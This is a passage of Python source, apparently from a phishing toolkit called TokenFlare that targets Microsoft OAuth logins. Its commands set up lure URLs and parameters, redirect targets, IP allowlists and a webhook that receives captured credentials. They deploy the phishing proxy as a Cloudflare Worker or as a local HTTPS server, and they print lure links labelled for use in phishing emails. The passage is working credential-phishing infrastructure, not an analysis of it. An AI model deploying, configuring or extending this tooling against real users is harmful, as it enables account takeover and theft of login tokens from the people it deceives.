choice_map.get(choice, 'officehome') 191 | oauth_url = OAUTH_URLS[oauth_key] 192 | print() 193 | return oauth_url 194 | 195 | def _prompt_lure_config(self, current_path: str = '/verifyme', 196 | current_param: str = 'uuid') -> tuple: 197 | """Prompt for lure path and parameter configuration""" 198 | # Lure path 199 | print("[4/8] Lure Path Configuration") 200 | print(" The URL path users will click (e.g., /verifyme)") 201 | lure_path = input(f" Enter lure path [{current_path}]: ").strip() or current_path 202 | if not lure_path.startswith('/'): 203 | lure_path = '/' + lure_path 204 | print() 205 | 206 | # Lure parameter 207 | print("[5/8] Lure Parameter") 208 | print(" The query parameter name (e.g., ?uuid=...)") 209 | lure_param = input(f" Enter parameter name [{current_param}]: ").strip() or current_param 210 | print() 211 | 212 | return lure_path, lure_param 213 | 214 | def _prompt_redirect_url(self, current_value: str = 'https://www.office.com') -> str: 215 | """Prompt for final redirect URL (after successful auth)""" 216 | print("[6/8] Final Redirect URL") 217 | print(" Where to send user after successful authentication") 218 | final_redir = input(f" Enter final redirect URL [{current_value}]: ").strip() or current_value 219 | print() 220 | return final_redir 221 | 222 | def _prompt_unauth_redirect(self, current_value: str = 'https://www.office.com') -> str: 223 | """Prompt for unauthorized redirect URL (invalid lure)""" 224 | print("[7/8] Unauthorised Redirect URL") 225 | print(" Where to send user if lure URL is invalid (wrong UUID/path)") 226 | unauth_redir = input(f" Enter unauthorised redirect URL [{current_value}]: ").strip() or current_value 227 | print() 228 | return unauth_redir 229 | 230 | def _prompt_webhook(self, current_value: str = 'https://hooks.slack.com/services/CHANGEME') -> str: 231 | """Prompt for webhook configuration""" 232 | print("[8/8] Webhook Configuration") 233 | print(" Webhook for receiving captured credentials") 234 | print(" Providers: discord, slack, teams") 235 | webhook_url = input(f" Enter webhook URL [{current_value}]: ").strip() or current_value 236 | print() 237 | return webhook_url 238 | 239 | # ============================================================ 240 | # Main Command Methods 241 | # ============================================================ 242 | 243 | def cmd_configure_campaign(self) -> int: 244 | """Interactive campaign configuration""" 245 | print("Campaign Configuration") 246 | print("=" * 82) 247 | print() 248 | 249 | if not self.wrangler_toml.exists(): 250 | print(f"[!] wrangler.toml not found at {self.wrangler_toml}") 251 | print(" Run 'init' command first") 252 | return 1 253 | 254 | try: 255 | config = load_toml(self.wrangler_toml) 256 | if 'vars' not in config: 257 | config['vars'] = {} 258 | 259 | # Use helper methods to gather configuration 260 | allowed_ips = self._prompt_allowed_ips(config['vars'].get('ALLOWED_IPS', '')) 261 | tenant = self._prompt_tenant(config['vars'].get('CLIENT_TENANT', 'common')) 262 | oauth_url = self._prompt_oauth_url() 263 | lure_path, lure_param = self._prompt_lure_config( 264 | config['vars'].get('LURE_PATH', '/verifyme'), 265 | config['vars'].get('LURE_PARAM', 'uuid') 266 | ) 267 | final_redir = self._prompt_redirect_url( 268 | config['vars'].get('FINAL_REDIR', 'https://www.office.com') 269 | ) 270 | unauth_redir = self._prompt_unauth_redirect( 271 | config['vars'].get('UNAUTH_REDIR', 'https://www.office.com') 272 | ) 273 | webhook_url = self._prompt_webhook( 274 | config['vars'].get('WEBHOOK_URL', 'https://hooks.slack.com/services/CHANGEME') 275 | ) 276 | 277 | # Save configuration using surgical updates to preserve comments 278 | update_wrangler_var(self.wrangler_toml, 'ALLOWED_IPS', allowed_ips) 279 | update_wrangler_var(self.wrangler_toml, 'CLIENT_TENANT', tenant) 280 | update_wrangler_var(self.wrangler_toml, 'UPSTREAM_PATH', oauth_url) 281 | update_wrangler_var(self.wrangler_toml, 'LURE_PATH', lure_path) 282 | update_wrangler_var(self.wrangler_toml, 'LURE_PARAM', lure_param) 283 | update_wrangler_var(self.wrangler_toml, 'FINAL_REDIR', final_redir) 284 | update_wrangler_var(self.wrangler_toml, 'UNAUTH_REDIR', unauth_redir) 285 | update_wrangler_var(self.wrangler_toml, 'WEBHOOK_URL', webhook_url) 286 | 287 | print("=" * 82) 288 | print("✓ Campaign configuration saved!") 289 | print("=" * 82) 290 | print("\nConfiguration summary:") 291 | print(f" Allowed IPs: {allowed_ips if allowed_ips else '(all)'}") 292 | print(f" Tenant: {tenant}") 293 | print(f" Lure path: {lure_path}?{lure_param}=") 294 | print(f" Final redir: {final_redir}") 295 | print(f" Unauth redir: {unauth_redir}") 296 | print(f" Webhook: {webhook_url[:50]}...") 297 | print() 298 | 299 | return 0 300 | 301 | except Exception as e: 302 | self.logger.error(f"Failed to configure campaign: {e}") 303 | if self.app.verbose: 304 | self.logger.exception("Full traceback:") 305 | return 1 306 | 307 | def cmd_configure_cf(self) -> int: 308 | """Configure CloudFlare API credentials""" 309 | print("CloudFlare Configuration") 310 | print("=" * 82) 311 | print() 312 | 313 | # Load or create config 314 | config = configparser.ConfigParser() 315 | if self.config_file.exists(): 316 | config.read(self.config_file) 317 | print(f"[*] Loading existing config from {self.config_file}") 318 | else: 319 | print(f"[*] Creating new config file: {self.config_file}") 320 | 321 | # Ensure sections exist 322 | if not config.has_section('cloudflare'): 323 | config.add_section('cloudflare') 324 | if not config.has_section('deployment'): 325 | config.add_section('deployment') 326 | 327 | # 1. API Key 328 | print("\n[1/3] CloudFlare API Key") 329 | print(" Get this from CloudFlare Dashboard > My Profile > API Tokens") 330 | current_key = config.get('cloudflare', 'api_key', fallback='') 331 | if current_key and current_key != 'YOUR_CLOUDFLARE_API_KEY_HERE': 332 | masked_key = current_key[:10] + '...' + current_key[-4:] 333 | api_key = input(f" Enter API key [{masked_key}]: ").strip() or current_key 334 | else: 335 | api_key = input(" Enter API key: ").strip() 336 | 337 | if not api_key or api_key == 'YOUR_CLOUDFLARE_API_KEY_HERE': 338 | print(" [!] Invalid API key") 339 | return 1 340 | 341 | config.set('cloudflare', 'api_key', api_key) 342 | print() 343 | 344 | # 2. Account ID 345 | print("[2/3] CloudFlare Account ID") 346 | print(" Get this from CloudFlare Dashboard > Workers & Pages") 347 | current_account = config.get('cloudflare', 'account_id', fallback='') 348 | if current_account and current_account != 'YOUR_CLOUDFLARE_ACCOUNT_ID_HERE': 349 | account_id = input(f" Enter account ID [{current_account}]: ").strip() or current_account 350 | else: 351 | account_id = input(" Enter account ID: ").strip() 352 | 353 | if not account_id or account_id == 'YOUR_CLOUDFLARE_ACCOUNT_ID_HERE': 354 | print(" [!] Invalid account ID") 355 | return 1 356 | 357 | config.set('cloudflare', 'account_id', account_id) 358 | print() 359 | 360 | # Test API credentials and get account subdomain 361 | print("[*] Testing CloudFlare API credentials...") 362 | success, result = test_cloudflare_api(api_key, account_id) 363 | 364 | if not success: 365 | print(f"[!] API test failed: {result}") 366 | print(" Please check your API key and account ID") 367 | return 1 368 | 369 | print(" ✓ API credentials valid") 370 | 371 | # Store account subdomain if available 372 | account_subdomain = result 373 | if account_subdomain: 374 | print(f" ✓ Account subdomain: {account_subdomain}") 375 | config.set('cloudflare', 'account_subdomain', account_subdomain) 376 | else: 377 | print(" Note: Could not retrieve account subdomain") 378 | account_subdomain = '' 379 | 380 | print() 381 | 382 | # 3. Worker name 383 | print("[3/3] Worker Name") 384 | print(f" Your worker will be deployed to: .{account_subdomain}.workers.dev") 385 | current_worker = config.get('deployment', 'worker_name', fallback='') 386 | if current_worker and current_worker != 'your-worker-name': 387 | worker_name = input(f" Enter worker name [{current_worker}]: ").strip() or current_worker 388 | else: 389 | worker_name = input(" Enter worker name: ").strip() 390 | 391 | if not worker_name or worker_name == 'your-worker-name': 392 | print(" [!] Invalid worker name") 393 | return 1 394 | 395 | config.set('deployment', 'worker_name', worker_name) 396 | print() 397 | 398 | # Also update wrangler.toml so wrangler can use these values immediately 399 | update_wrangler_field(self.wrangler_toml, 'name', worker_name) 400 | update_wrangler_field(self.wrangler_toml, 'account_id', account_id) 401 | 402 | # Save config with secure permissions 403 | try: 404 | with open(self.config_file, 'w') as f: 405 | config.write(f) 406 | os.chmod(self.config_file, 0o600) 407 | 408 | print("=" * 82) 409 | print("✓ CloudFlare configuration saved!") 410 | print("=" * 82) 411 | print(f"\nConfig file: {self.config_file}") 412 | print(f"Permissions: 600 (owner read/write only)") 413 | if account_subdomain and account_subdomain != '': 414 | print(f"\nWorker URL: https://{worker_name}.{account_subdomain}.workers.dev") 415 | else: 416 | print(f"\nWorker URL: https://{worker_name}..workers.dev") 417 | print("(Account subdomain will be determined at deploy time)") 418 | print() 419 | 420 | return 0 421 | 422 | except Exception as e: 423 | self.logger.error(f"Failed to save configuration: {e}") 424 | if self.app.verbose: 425 | self.logger.exception("Full traceback:") 426 | return 1 427 | 428 | def cmd_configure_ssl(self) -> int: 429 | """Configure SSL certificates""" 430 | print("SSL Certificate Configuration") 431 | print("=" * 82) 432 | print() 433 | 434 | print("Choose certificate configuration method:") 435 | print(" 1. Use certbot (Let's Encrypt) - Recommended for production") 436 | print(" 2. Use existing certificates (manual paths)") 437 | print(" 3. Keep current self-signed certificate (generated by init)") 438 | print() 439 | 440 | choice = input("Select option [3]: ").strip() or '3' 441 | print() 442 | 443 | if choice == '1': 444 | # Certbot option 445 | if not shutil.which('certbot'): 446 | print("[!] certbot not found") 447 | print("\n Install certbot:") 448 | print(" sudo apt install certbot") 449 | print() 450 | return 1 451 | 452 | print("Using certbot to generate Let's Encrypt certificate") 453 | print("=" * 82) 454 | print() 455 | print("Prerequisites:") 456 | print(" - Your VPS must have a public IP address") 457 | print(" - Port 80 must be open and available") 458 | print(" - You must have a valid domain pointing to this server") 459 | print() 460 | 461 | domain = input("Enter your domain name: ").strip() 462 | if not domain: 463 | print("[!] Domain required") 464 | return 1 465 | 466 | print(f"\n[*] Running certbot for domain: {domain}") 467 | print(" Follow the certbot prompts...") 468 | print() 469 | 470 | # Run certbot in certonly mode 471 | result = run_command([ 472 | 'certbot', 'certonly', '--standalone', 473 | '-d', domain, 474 | '--non-interactive', '--agree-tos', 475 | '--register-unsafely-without-email' 476 | ], timeout=120) 477 | 478 | if result and result.returncode == 0: 479 | # Copy certificates to certs directory 480 | cert_source = f"/etc/letsencrypt/live/{domain}/fullchain.pem" 481 | key_source = f"/etc/letsencrypt/live/{domain}/privkey.pem" 482 | cert_dest = self.certs_dir / "cert.pem" 483 | key_dest = self.certs_dir / "key.pem" 484 | 485 | try: 486 | shutil.copy2(cert_source, cert_dest) 487 | shutil.copy2(key_source, key_dest) 488 | os.chmod(cert_dest, 0o600) 489 | os.chmod(key_dest, 0o600) 490 | 491 | print("\n" + "=" * 82) 492 | print("✓ Let's Encrypt certificate configured!") 493 | print("=" * 82) 494 | print(f"\nCertificate: {cert_dest}") 495 | print(f"Private key: {key_dest}") 496 | print("\nNote: Remember to renew certificates before expiry (90 days)") 497 | print() 498 | return 0 499 | 500 | except Exception as e: 501 | self.logger.error(f"Failed to copy certificates: {e}") 502 | return 1 503 | else: 504 | print("[!] certbot failed") 505 | if result: 506 | print(f" Error: {result.stderr}") 507 | return 1 508 | 509 | elif choice == '2': 510 | # Manual certificate paths 511 | print("Manual Certificate Configuration") 512 | print("=" * 82) 513 | print() 514 | print("Provide paths to your existing certificate and private key files") 515 | print() 516 | 517 | cert_path = input("Enter path to certificate file (.pem or .crt): ").strip() 518 | key_path = input("Enter path to private key file (.pem or .key): ").strip() 519 | 520 | if not cert_path or not key_path: 521 | print("[!] Both certificate and key paths required") 522 | return 1 523 | 524 | # Verify files exist 525 | if not os.path.exists(cert_path): 526 | print(f"[!] Certificate file not found: {cert_path}") 527 | return 1 528 | 529 | if not os.path.exists(key_path): 530 | print(f"[!] Private key file not found: {key_path}") 531 | return 1 532 | 533 | # Copy to certs directory 534 | try: 535 | cert_dest = self.certs_dir / "cert.pem" 536 | key_dest = self.certs_dir / "key.pem" 537 | 538 | shutil.copy2(cert_path, cert_dest) 539 | shutil.copy2(key_path, key_dest) 540 | os.chmod(cert_dest, 0o600) 541 | os.chmod(key_dest, 0o600) 542 | 543 | print("\n" + "=" * 82) 544 | print("✓ Certificates configured!") 545 | print("=" * 82) 546 | print(f"\nCertificate: {cert_dest}") 547 | print(f"Private key: {key_dest}") 548 | print() 549 | return 0 550 | 551 | except Exception as e: 552 | self.logger.error(f"Failed to copy certificates: {e}") 553 | return 1 554 | 555 | elif choice == '3': 556 | # Keep existing self-signed certificate 557 | cert_path = self.certs_dir / "cert.pem" 558 | key_path = self.certs_dir / "key.pem" 559 | 560 | if not cert_path.exists() or not key_path.exists(): 561 | print("[!] Self-signed certificate not found") 562 | print(" Run 'init' command first to generate certificates") 563 | return 1 564 | 565 | print("=" * 82) 566 | print("✓ Using existing self-signed certificate") 567 | print("=" * 82) 568 | print(f"\nCertificate: {cert_path}") 569 | print(f"Private key: {key_path}") 570 | print("\nNote: Self-signed certificates will show browser warnings") 571 | print(" Use certbot for production deployments") 572 | print() 573 | return 0 574 | 575 | else: 576 | print("[!] Invalid option") 577 | return 1 578 | 579 | def cmd_deploy_local(self) -> int: 580 | """Deploy worker locally using wrangler dev""" 581 | # Check for root (needed for binding to port 443) 582 | require_root("deploy local") 583 | 584 | print("Local Development Deployment") 585 | print("=" * 82) 586 | print() 587 | 588 | # 1. Check wrangler available 589 | wrangler_cmd = get_wrangler_command() 590 | if not wrangler_cmd: 591 | print("[!] Wrangler not found") 592 | print(" Install: npm install -g wrangler") 593 | print(" Or ensure npx is available") 594 | return 1 595 | 596 | # 2. Validate certificates exist 597 | cert_path = self.certs_dir / "cert.pem" 598 | key_path = self.certs_dir / "key.pem" 599 | 600 | if not cert_path.exists() or not key_path.exists(): 601 | print("[!] SSL certificates not found") 602 | print(f" Expected: {cert_path}") 603 | print(" Run: sudo python3 tokenflare.py init ") 604 | return 1 605 | 606 | # 3. Validate configuration 607 | if not self.wrangler_toml.exists(): 608 | print("[!] wrangler.toml not found") 609 | return 1 610 | 611 | config = load_toml(self.wrangler_toml) 612 | vars_section = config.get('vars', {}) 613 | 614 | lure_uuid = vars_section.get('LURE_UUID', '') 615 | if not lure_uuid or 'CHANGEME' in lure_uuid: 616 | print("[!] UUIDs not configured") 617 | print(" Run: sudo python3 tokenflare.py init ") 618 | return 1 619 | 620 | # 4. Display lure URLs (use defaults if not explicitly set) 621 | uuids = [u.strip() for u in lure_uuid.split(',')] 622 | lure_path = vars_section.get('LURE_PATH', DEFAULT_LURE_PATH) 623 | lure_param = vars_section.get('LURE_PARAM', DEFAULT_LURE_PARAM) 624 | local_domain = vars_section.get('LOCAL_PHISHING_DOMAIN', 'localhost') 625 | 626 | print("[*] Lure URLs (copy for phishing emails):") 627 | for uuid in uuids[:3]: 628 | url = f"https://{local_domain}{lure_path}?{lure_param}={uuid}" 629 | print(f" {defang_url(url)}") 630 | if len(uuids) > 3: 631 | print(f" ... and {len(uuids) - 3} more") 632 | print() 633 | 634 | # Check if certificate is self-signed (issuer == subject) 635 | is_self_signed = False 636 | result = run_command(['openssl', 'x509', '-in', str(cert_path), '-noout', '-issuer', '-subject']) 637 | if result and result.returncode == 0: 638 | lines = result.stdout.strip().split('\n') 639 | if len(lines) >= 2: 640 | issuer = lines[0].replace('issuer=', '').strip() 641 | subject = lines[1].replace('subject=', '').strip() 642 | is_self_signed = (issuer == subject) 643 | 644 | if is_self_signed: 645 | print("[!] Using self-signed certificate - browsers will show warnings") 646 | print("[*] Press Ctrl+C to stop") 647 | print() 648 | 649 | # 5. Build and run wrangler dev command 650 | cmd = wrangler_cmd + [ 651 | 'dev', 652 | '--ip', '0.0.0.0', 653 | '--port', '443', 654 | '--local-protocol', 'https', 655 | '--https-key-path', str(key_path), 656 | '--https-cert-path', str(cert_path) 657 | ] 658 | 659 | try: 660 | # Run interactively - don't capture output 661 | subprocess.run(cmd, cwd=self.project_root) 662 | return 0 663 | except KeyboardInterrupt: 664 | print("\n\n[*] Shutting down local deployment...") 665 | return 0 666 | 667 | def cmd_deploy_remote(self) -> int: 668 | """Deploy worker to CloudFlare""" 669 | print("CloudFlare Remote Deployment") 670 | print("=" * 82) 671 | print() 672 | 673 | # 1. Check wrangler available 674 | wrangler_cmd = get_wrangler_command() 675 | if not wrangler_cmd: 676 | print("[!] Wrangler not found") 677 | print(" Install: npm install -g wrangler") 678 | print(" Or ensure npx is available") 679 | return 1 680 | 681 | # 2. Load CloudFlare credentials 682 | if not self.config_file.exists(): 683 | print("[!] CloudFlare not configured") 684 | print(" Run: python3 tokenflare.py configure cf") 685 | return 1 686 | 687 | cfg = configparser.ConfigParser() 688 | cfg.read(self.config_file) 689 | 690 | if not cfg.has_section('cloudflare'): 691 | print("[!] CloudFlare credentials missing") 692 | return 1 693 | 694 | api_key = cfg.get('cloudflare', 'api_key', fallback='') 695 | account_id = cfg.get('cloudflare', 'account_id', fallback='') 696 | account_subdomain = cfg.get('cloudflare', 'account_subdomain', fallback='') 697 | worker_name = cfg.get('deployment', 'worker_name', fallback='') 698 | 699 | if not api_key or not account_id: 700 | print("[!] CloudFlare credentials incomplete") 701 | return 1 702 | 703 | if not worker_name: 704 | print("[!] Worker name not configured") 705 | return 1 706 | 707 | # 3. Update wrangler.toml with account_id and name (top-level fields) 708 | update_wrangler_field(self.wrangler_toml, 'name', worker_name) 709 | update_wrangler_field(self.wrangler_toml, 'account_id', account_id) 710 | 711 | # 4. Set environment for wrangler 712 | env = os.environ.copy() 713 | env['CLOUDFLARE_API_TOKEN'] = api_key 714 | env['CLOUDFLARE_ACCOUNT_ID'] = account_id 715 | 716 | print(f"[*] Deploying worker '{worker_name}' to CloudFlare...") 717 | print() 718 | 719 | # 5. Run wrangler deploy 720 | try: 721 | result = subprocess.run( 722 | wrangler_cmd + ['deploy'], 723 | cwd=self.project_root, 724 | env=env 725 | ) 726 | 727 | if result.returncode == 0: 728 | print() 729 | print("=" * 82) 730 | print("[+] Deployment successful!") 731 | print("=" * 82) 732 | 733 | # Show worker URL 734 | if account_subdomain: 735 | worker_url = f"https://{worker_name}.{account_subdomain}.workers.dev" 736 | print(f"\nWorker URL: {worker_url}") 737 | 738 | # Show lure URLs 739 | config = load_toml(self.wrangler_toml) 740 | vars_section = config.get('vars', {}) 741 | uuids = [u.strip() for u in vars_section.get('LURE_UUID', '').split(',')] 742 | lure_path = vars_section.get('LURE_PATH', DEFAULT_LURE_PATH) 743 | lure_param = vars_section.get('LURE_PARAM', DEFAULT_LURE_PARAM) 744 | 745 | print("\nLure URLs:") 746 | for uuid in uuids[:3]: 747 | url = f"{worker_url}{lure_path}?{lure_param}={uuid}" 748 | print(f" {defang_url(url)}") 749 | if len(uuids) > 3: 750 | print(f" ... and {len(uuids) - 3} more") 751 | print() 752 | 753 | return result.returncode 754 | 755 | except Exception as e: 756 | self.logger.error(f"Deployment failed: {e}") 757 | return 1 758 | 759 | def cmd_status(self, get_lure_url: bool = False) -> int: 760 | """Show current configuration and deployment status""" 761 | print("TokenFlare Status") 762 | print("=" * 82) 763 | print() 764 | 765 | # 1. Initialisation status 766 | print("[*] Initialisation:") 767 | if self.wrangler_toml.exists(): 768 | config = load_toml(self.wrangler_toml) 769 | vars_section = config.get('vars', {}) 770 | lure_uuid = vars_section.get('LURE_UUID', '') 771 | has_uuids = lure_uuid and 'CHANGEME' not in lure_uuid 772 | uuid_count = len([u for u in lure_uuid.split(',') if u.strip()]) if lure_uuid else 0 773 | 774 | print(" [+] wrangler.toml found") 775 | print(f" {'[+]' if has_uuids else '[-]'} UUIDs configured ({uuid_count} total)") 776 | else: 777 | print(" [-] wrangler.toml not found - run 'init' first") 778 | config = {} 779 | vars_section = {} 780 | 781 | # 2. Certificate status 782 | print("\n[*] SSL Certificates:") 783 | cert_path = self.certs_dir / "cert.pem" 784 | key_path = self.certs_dir / "key.pem" 785 | 786 | if cert_path.exists() and key_path.exists(): 787 | print(f" [+] Certificate: {cert_path}") 788 | print(f" [+] Private key: {key_path}") 789 | 790 | # Check certificate validity and expiry with openssl 791 | result = run_command(['openssl', 'x509', '-in', str(cert_path), '-noout', '-checkend', '0']) 792 | if result: 793 | if result.returncode == 0: 794 | print(" [+] Certificate is valid (not expired)") 795 | else: 796 | print(" [!] Certificate has EXPIRED") 797 | 798 | # Get expiry date 799 | result = run_command(['openssl', 'x509', '-in', str(cert_path), '-noout', '-enddate']) 800 | if result and result.returncode == 0: 801 | expiry = result.stdout.strip().replace('notAfter=', '') 802 | print(f" [i] Expires: {expiry}") 803 | 804 | # Get certificate subject (CN) 805 | result = run_command(['openssl', 'x509', '-in', str(cert_path), '-noout', '-subject']) 806 | if result and result.returncode == 0: 807 | subject = result.stdout.strip().replace('subject=', '').strip() 808 | print(f" [i] Subject: {subject}") 809 | else: 810 | print(" [-] Certificates not found") 811 | 812 | # 3. CloudFlare configuration 813 | print("\n[*] CloudFlare:") 814 | worker_url = None 815 | if self.config_file.exists(): 816 | cfg = configparser.ConfigParser() 817 | cfg.read(self.config_file) 818 | 819 | if cfg.has_section('cloudflare'): 820 | subdomain = cfg.get('cloudflare', 'account_subdomain', fallback='') 821 | worker_name = cfg.get('deployment', 'worker_name', fallback='') 822 | 823 | print(" [+] API key configured") 824 | if subdomain and worker_name: 825 | worker_url = f"https://{worker_name}.{subdomain}.workers.dev" 826 | print(f" [+] Worker: {worker_name}.{subdomain}.workers.dev") 827 | else: 828 | print(f" [i] Worker name: {worker_name or 'Not set'}") 829 | else: 830 | print(" [-] Not configured - run 'configure cf'") 831 | else: 832 | print(" [-] No config file - run 'configure cf'") 833 | 834 | # 4. Campaign configuration 835 | print("\n[*] Campaign:") 836 | if self.wrangler_toml.exists(): 837 | tenant = vars_section.get('CLIENT_TENANT', 'Not set') 838 | lure_path = vars_section.get('LURE_PATH', DEFAULT_LURE_PATH) 839 | final_redir = vars_section.get('FINAL_REDIR', 'Not set') 840 | unauth_redir = vars_section.get('UNAUTH_REDIR', 'Not set') 841 | webhook = vars_section.get('WEBHOOK_URL', '') 842 | allowed_ips = vars_section.get('ALLOWED_IPS', '') 843 | 844 | print(f" Allowed IPs: {allowed_ips if allowed_ips else '(all)'}") 845 | print(f" Tenant: {tenant}") 846 | print(f" Lure path: {lure_path}") 847 | print(f" Final redir: {final_redir}") 848 | print(f" Unauth redir: {unauth_redir}") 849 | print(f" Webhook: {'Configured' if webhook and 'CHANGEME' not in webhook else 'Not configured'}") 850 | 851 | # 5. Lure URLs (if --get-lure-url flag is set) 852 | if get_lure_url and self.wrangler_toml.exists(): 853 | lure_uuid = vars_section.get('LURE_UUID', '') 854 | if lure_uuid and 'CHANGEME' not in lure_uuid: 855 | uuids = [u.strip() for u in lure_uuid.split(',') if u.strip()] 856 | lure_path = vars_section.get('LURE_PATH', DEFAULT_LURE_PATH) 857 | lure_param = vars_section.get('LURE_PARAM', DEFAULT_LURE_PARAM) 858 | local_domain = vars_section.get('LOCAL_PHISHING_DOMAIN', 'localhost') 859 | 860 | print("\n[*] Lure URLs (Local):") 861 | for uuid in uuids[:5]: 862 | url = f"https://{local_domain}{lure_path}?{lure_param}={uuid}" 863 | print(f" {defang_url(url)}") 864 | if len(uuids) > 5: 865 | print(f" ... and {len(uuids) - 5} more") 866 | 867 | if worker_url: 868 | print("\n[*] Lure URLs (Remote):") 869 | for uuid in uuids[:5]: 870 | url = f"{worker_url}{lure_path}?{lure_param}={uuid}" 871 | print(f" {defang_url(url)}") 872 | if len(uuids) > 5: 873 | print(f" ... and {len(uuids) - 5} more") 874 | 875 | print() 876 | return 0 877 | 878 | def cmd_version(self) -> int: 879 | """Display version information""" 880 | print(f"Version: {VERSION}") 881 | print(f"Python: {sys.version.split()[0]}") 882 | return 0 883 | --------------------------------------------------------------------------------